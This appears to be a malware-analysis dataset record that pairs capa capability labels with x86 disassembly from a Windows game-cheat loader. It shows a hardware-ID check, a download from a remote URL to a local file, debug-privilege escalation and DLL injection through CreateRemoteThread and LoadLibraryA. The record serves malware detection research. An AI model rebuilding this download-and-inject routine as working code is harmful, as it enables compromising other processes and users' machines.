joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b38a
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41c2a0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.00409778
mov dword [ebp - 0x14], eax
cmp dword [0x41d00c], edi
jne 0x40b47b
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x40b408
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40b55b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x40b55b
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40b55b
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x41d00c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x41d010], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x41d014], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41d01c], eax
test eax, eax
je 0x40b478
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41d018], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40b4a0
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40b493
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x40b4b5
push 4
pop eax
jmp 0x40b55d
cmp dword [ebp - 0x14], edi
je 0x40b4b5
push dword [0x41d00c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40b49a
mov eax, dword [0x41d018]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x40b513
cmp dword [0x41d01c], esi
je 0x40b513
push eax
call ebx
push dword [0x41d01c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40b513
test eax, eax
je 0x40b513
call ecx
test eax, eax
je 0x40b508
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40b508
test byte [ebp - 8], 1
jne 0x40b513
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x40b543
mov eax, dword [0x41d010]
cmp eax, esi
je 0x40b540
push eax
call ebx
test eax, eax
je 0x40b540
call eax
mov edi, eax
test edi, edi
je 0x40b540
mov eax, dword [0x41d014]
cmp eax, esi
je 0x40b540
push eax
call ebx
test eax, eax
je 0x40b540
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x41d00c]
call ebx
test eax, eax
je 0x40b55b
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x40b55d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b56c
leave
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x453008]
jne 0x40100a
repz ret
jmp fcn.00401720

Function at 0x40829b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004034fe
and dword [ebp - 4], 0
cmp dword [0x4551c0], 0
mov ebx, eax
jne 0x40834c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4083fd
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4083fd
push eax
call fcn.0040348c
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4551c0], eax
call esi
push eax
call fcn.0040348c
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4551c4], eax
call esi
push eax
call fcn.0040348c
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4551c8], eax
call esi
push eax
call fcn.0040348c
pop ecx
mov dword [0x4551d0], eax
test eax, eax
je 0x40834c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040348c
pop ecx
mov dword [0x4551cc], eax
mov eax, dword [0x4551cc]
cmp eax, ebx
je 0x4083a4
cmp dword [0x4551d0], ebx
je 0x4083a4
push eax
call fcn.00403507
push dword [0x4551d0]
mov esi, eax
call fcn.00403507
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4083a4
test edi, edi
je 0x4083a4
call esi
test eax, eax
je 0x40839b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40839b
test byte [ebp - 0xc], 1
jne 0x4083a4
or dword [ebp + 0x10], 0x200000
jmp 0x4083dd
mov eax, dword [0x4551c4]
cmp eax, ebx
je 0x4083dd
push eax
call fcn.00403507
pop ecx
test eax, eax
je 0x4083dd
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4083dd
mov eax, dword [0x4551c8]
cmp eax, ebx
je 0x4083dd
push eax
call fcn.00403507
pop ecx
test eax, eax
je 0x4083dd
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4551c0]
call fcn.00403507
pop ecx
test eax, eax
je 0x4083fd
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4083ff
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x44f1b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
cmp ebx, 0x182
jne 0x44f1cc
lea eax, [ebp - 0x20]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
jmp 0x44f1dc
cmp ebx, 0x19f
jne 0x44f1dc
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push edi
xor edi, edi
test ebx, ebx
jle 0x44f20e
push esi
jmp 0x44f1f0
lea esi, [ebp - 4]
mov dword [ebp - 4], 0
call fcn.0044f1a0
mov cl, byte [ebp - 4]
mov eax, dword [ebp + 8]
xor byte [edi + eax], cl
inc edi
cmp edi, ebx
jl 0x44f1f0
pop esi
pop edi
cmp ebx, 0x2d
jne 0x44f228
mov dword [0x54aea0], 0xa62e7790
mov dword [0x54aea4], 0xffffffff
mov esp, ebp
pop ebp
ret
Function at 0x44f230
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov eax, dword [0x453008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x54ad6c]
push ebx
push esi
mov esi, dword [0x54abb4]
mov ebx, eax
cmp eax, 0x5dd
jne 0x44f26a
push 0
lea eax, [ebp - 0x804]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov eax, dword [0x453f70]
call fcn.0044f170
cmp dword [0x54ad6c], 0x2f
jne 0x44f285
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push esi
call fcn.0044f1b0
add esp, 4
cmp dword [0x54ad6c], 0x568
pop esi
pop ebx
jne 0x44f2b7
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov ecx, dword [ebp - 0x808]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
mov esp, ebp
pop ebp
ret
Function at 0x4021f0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push esi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x402245
lea ecx, [ebp - 0x20]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x402256
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b172
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push 0
push 0
push 0x10
lea edx, [ebp - 0x14]
push edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
push 0
push eax
mov dword [ebp - 0x14], 1
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp - 0x18]
push ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040b172
mov esp, ebp
pop ebp
ret

Function at 0x402460
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1118
call fcn.0041c6a0
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
lea eax, [ebp - 0x1110]
push eax
push 0x1000
lea ecx, [ebp - 0x1108]
xor edi, edi
push ecx
mov dword [ebp - 0x110c], edi
call dword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
jne 0x4024ac
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b172
mov esp, ebp
pop ebp
ret
test dword [ebp - 0x1110], 0xfffffffc
jbe 0x402581
push ebx
mov ebx, dword [sym.imp.PSAPI.DLL_GetModuleBaseNameA]
push esi
jmp 0x4024d0
mov eax, dword [ebp + edi*4 - 0x1108]
test eax, eax
je 0x40256d
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x40256d
lea edx, [ebp - 0x1118]
push edx
push 4
lea eax, [ebp - 0x1114]
push eax
push esi
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
je 0x40256d
mov edx, dword [ebp - 0x1114]
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push edx
push esi
call ebx
mov ecx, 0x427704
lea eax, [ebp - 0x108]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402550
test dl, dl
je 0x40254c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402550
add eax, 2
add ecx, 2
test dl, dl
jne 0x402530
xor eax, eax
jmp 0x402555
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x402566
mov eax, dword [ebp + edi*4 - 0x1108]
mov dword [ebp - 0x110c], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x1110]
inc edi
shr ecx, 2
cmp edi, ecx
jb 0x4024d0
pop esi
pop ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x110c]
xor ecx, ebp
pop edi
call fcn.0040b172
mov esp, ebp
pop ebp
ret
Function at 0x4025a0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push esi
lea eax, [ebp - 0x108]
push str._s.
push eax
call fcn.0040bbbd
add esp, 0xc
lea ecx, [ebp - 0x248]
push ecx
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov edi, eax
lea eax, [ebp - 0x21c]
push eax
push esi
lea ecx, [ebp - 0x108]
push str._s_s
push ecx
call fcn.0040bbbd
lea edx, [ebp - 0x108]
push edx
call fcn.0040cc5e
add esp, 0x14
lea eax, [ebp - 0x248]
push eax
push edi
call ebx
test eax, eax
jne 0x4025e6
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.0040b172
mov esp, ebp
pop ebp
ret
Function at 0x4040a0
Capabilities:
Create process on windows
Delete file
Get disk information
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4232db
mov eax, dword fs:[0]
push eax
sub esp, 0x618
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.C:HWID.txt
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 0xff
mov dword [ebp - 0x618], eax
mov dword [ebp - 0x61c], eax
lea eax, [ebp - 0x618]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x404219
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x620]
push edx
push 0
push 0
push 0x4275b0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x404219
lea eax, [ebp - 0x61c]
push eax
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x404219
lea edi, [ebp - 0x110]
call fcn.00402ac0
lea edi, [ebp - 0x210]
mov esi, eax
call fcn.00402ac0
mov edx, dword [ebp - 0x620]
add eax, esi
lea eax, [eax + edx + 0x1f3a7]
push eax
lea eax, [ebp - 0x5f8]
push 0x42773c
push eax
call fcn.0040bbbd
sub esp, 0x10
mov ecx, esp
lea eax, [ebp - 0x5f8]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov dword [ebp - 0x624], esp
mov byte [ecx], 0
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4041a5
sub eax, esi
push eax
lea edx, [ebp - 0x5f8]
push edx
call fcn.00401640
lea ecx, [ebp - 0x614]
call fcn.00408f90
add esp, 0x1c
mov esi, 0x10
mov dword [ebp - 4], 0
cmp dword [eax + 0x14], esi
jb 0x4041dc
mov eax, dword [eax]
push eax
push str.Connection_Failure..._nTelah_terjadi_kesalahan___Mungkin_:_n___Server_down_n___Cheat_disuspend_n___Anda_belum_terdaftar._n___Durasi_Anda_telah_habis._n___Hubungi_Seller_Anda_untuk_info_lebih_lanjut___n___Terima_Kasih____n_n_nYour_HWID_:__s
call fcn.004026e0
add esp, 8
cmp dword [ebp - 0x600], esi
jb 0x404201
mov eax, dword [ebp - 0x614]
push eax
call fcn.0040bae1
add esp, 4
push 1
push 0
push 0
push str.C:HWID.txt
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b172
mov esp, ebp
pop ebp
ret
Function at 0x404240
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
xor edi, edi
push 0x3ff
lea eax, [ebp - 0x403]
push edi
push eax
mov dword [ebp - 0x40c], edi
mov dword [ebp - 0x408], edi
mov dword [ebp - 0x410], edi
mov byte [ebp - 0x404], 0
call fcn.004142f0
add esp, 0xc
push edi
push edi
push edi
push edi
push str.Mozilla_5.0__Windows_NT_6.3__
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
mov dword [ebp - 0x414], ebx
cmp ebx, edi
je 0x40436c
push esi
push edi
push 0x80000000
push edi
push edi
push str.http:__vip_fnatic.com_angin2_PlayStory_dll.php
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, edi
je 0x404364
push edi
push 0x80
push 2
push edi
push edi
push 0x40000000
push str.C:CB.CBM
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x404357
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x408]
push ecx
push 0x400
lea edx, [ebp - 0x404]
push edx
push esi
call ebx
test eax, eax
je 0x404340
mov eax, dword [ebp - 0x408]
test eax, eax
je 0x404340
push 0
lea ecx, [ebp - 0x410]
push ecx
push eax
lea edx, [ebp - 0x404]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0x408]
push eax
push 0x400
lea ecx, [ebp - 0x404]
push ecx
push esi
call ebx
test eax, eax
jne 0x404304
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x414]
mov dword [ebp - 0x40c], 1
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [ebp - 0x40c]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop esi
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop ebx
call fcn.0040b172
mov esp, ebp
pop ebp
ret
Function at 0x404380
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push 0
mov esi, ecx
lea ecx, [ebp - 0x108]
push ecx
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
jne 0x4043d0
push str.An_error_is_occured_when_trying_to_get_the_full_path_of_the_DLL._n
call fcn.0040ccc9
add esp, 4
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b172
mov esp, ebp
pop ebp
ret
push edi
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
jne 0x404405
push str.An_error_is_occured_when_trying_to_open_the_target_process._n
call fcn.0040ccc9
add esp, 4
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b172
mov esp, ebp
pop ebp
ret
push ebx
push str._PROCESS_INJECTION__n
call fcn.0040ccc9
push str.Process_opened_successfully._n
call fcn.0040ccc9
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 8
push 0x40
push 0x3000
lea edx, [ebp - 0x108]
push edx
call ebx
inc eax
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x404464
push str.An_error_is_occured_when_trying_to_allocate_memory_in_the_target_process._n
call fcn.0040ccc9
add esp, 4
pop ebx
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b172
mov esp, ebp
pop ebp
ret
push esi
push str.Memory_allocate_at_0x_X_n
call fcn.0040ccc9
add esp, 8
push 0
lea eax, [ebp - 0x108]
push eax
call ebx
inc eax
push eax
lea ecx, [ebp - 0x108]
push ecx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x404499
push str.An_error_is_occured_when_trying_to_write_the_DLL_path_in_the_target_process._n
jmp 0x404449
push str.DLL_path_writen_successfully._n
call fcn.0040ccc9
add esp, 4
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, 0xffffffff
je 0x404451
test eax, eax
je 0x404451
push str.LoadLibraryA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
jne 0x4044d6
push str.An_error_is_occured_when_trying_to_get__LoadLibraryA__address._n
jmp 0x404449
push ebx
push str.LoadLibraryA_address_at_0x_X_n
call fcn.0040ccc9
add esp, 8
push 0
push 0
push esi
push ebx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, 0xffffffff
jne 0x404504
push str.An_error_is_occured_when_trying_to_create_the_thread_in_the_target_process._n
jmp 0x404449
push str.DLL_Injected___n
call fcn.0040ccc9
mov ecx, dword [ebp - 4]
add esp, 4
pop ebx
pop edi
xor ecx, ebp
pop esi
call fcn.0040b172
mov esp, ebp
pop ebp
ret
Function at 0x406ec0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422b78
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x40706e
cmp byte [ebx + 0x49], 0
je 0x40706e
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x407062
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x2c], 0
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
cmp ecx, 0x10
jae 0x406f35
lea eax, [ebp - 0x2c]
mov byte [eax + 8], 0
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x406f52
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x30]
push edi
push edx
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x406f89
dec eax
je 0x406f8d
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x407069
call fcn.00401390
xor al, al
jmp 0x407070
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x406f9d
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x406fca
cmp edi, 0x10
jae 0x406fac
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.0040d1f9
add esp, 0x10
cmp esi, eax
jne 0x40705a
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x407066
test esi, esi
jne 0x406f46
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x40708b
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x40708b
cmp edi, esi
jae 0x407043
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00401830
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x406f46
mov ecx, eax
cmp edi, 0x10
jae 0x40701f
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x40703a
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x406f40
test esi, esi
jne 0x407015
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x407052
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x406f40
lea ecx, [ebp - 0x2c]
call fcn.00401390
xor al, al
jmp 0x407070
lea ecx, [ebp - 0x2c]
call fcn.00401390
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b172
mov esp, ebp
pop ebp
ret
push str.string_too_long
call fcn.0040a698
int3
Function at 0x407380
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4229ab
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x42b6d0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0040ace9
push 4
mov dword [ebp - 4], 0
call fcn.0040bb3d
mov edi, eax
add esp, 4
test edi, edi
je 0x4073fc
call fcn.0040abc1
mov dword [edi], eax
call fcn.0040a980
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.0040acaa
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x4073f2
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.0040acd2
jmp 0x4073fe
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x408f90
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422d48
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov ebx, ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 0x10
mov byte [ebp - 0x7c], al
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
jae 0x408ff5
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp + 0x18]
lea esi, [ebp - 0x7c]
call fcn.00408d50
mov ecx, esi
call fcn.00408e00
mov eax, esi
push eax
call fcn.00408ee0
cmp dword [ebp + 0x1c], 0x10
jb 0x409022
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040bae1
add esp, 4
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b172
mov esp, ebp
pop ebp
ret

Function at 0x40b172
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42b6d0]
jne 0x40b17c
repz ret
jmp fcn.00410dcc